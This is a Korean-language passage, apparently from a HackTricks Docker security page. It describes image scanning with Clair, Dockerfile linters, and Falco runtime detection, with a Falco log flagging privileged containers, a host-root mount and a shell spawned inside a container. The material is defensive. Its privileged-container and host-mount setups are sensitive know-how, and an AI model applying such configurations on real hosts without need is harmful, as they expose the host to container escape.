  • ๋‹ค๋ฅธ Docker ์ด๋ฏธ์ง€๋ฅผ ์Šค์บ”ํ•˜๊ณ  ์ทจ์•ฝ์ ์„ ์ฐพ๊ธฐ ์œ„ํ•ด https://github.com/quay/clair์˜ Docker ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfile ๋ณด์•ˆ

  • Dockerfile์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/buddy-works/dockerfile-linter๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์—๋Š” ID๊ฐ€ ๋ถ€์—ฌ๋˜๋ฉฐ, ์ด๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • dockerfilelinter -f Dockerfile

  • Dockerfile์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/replicatedhq/dockerfilelint๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • dockerfilelint Dockerfile

  • Dockerfile์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/RedCoolBeans/dockerlint๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • dockerlint Dockerfile

  • Dockerfile์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/hadolint/hadolint๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • hadolint Dockerfile

์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™ ๋กœ๊น…

  • ์‹คํ–‰ ์ค‘์ธ ์ปจํ…Œ์ด๋„ˆ์—์„œ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ–‰๋™์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/falcosecurity/falco๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋‹ค์Œ ์ฝ”๋“œ ์กฐ๊ฐ์—์„œ Falco๊ฐ€ ์ปค๋„ ๋ชจ๋“ˆ์„ ์ปดํŒŒ์ผํ•˜๊ณ  ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ์ฃผ๋ชฉํ•˜์„ธ์š”. ๊ทธ ํ›„, ๊ทœ์น™์„ ๋กœ๋“œํ•˜๊ณ  ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™์„ ๋กœ๊น…ํ•˜๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, 2๊ฐœ์˜ ํŠน๊ถŒ ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ์‹œ์ž‘๋˜์—ˆ๊ณ , ๊ทธ ์ค‘ 1๊ฐœ๋Š” ๋ฏผ๊ฐํ•œ ๋งˆ์šดํŠธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ๋ช‡ ์ดˆ ํ›„์— ํ•˜๋‚˜์˜ ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์—์„œ ์…ธ์ด ์—ด๋ฆฌ๋Š” ๊ฒƒ์„ ๊ฐ์ง€ํ–ˆ์Šต๋‹ˆ๋‹ค.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Docker ๋ชจ๋‹ˆํ„ฐ๋ง

auditd๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ docker๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ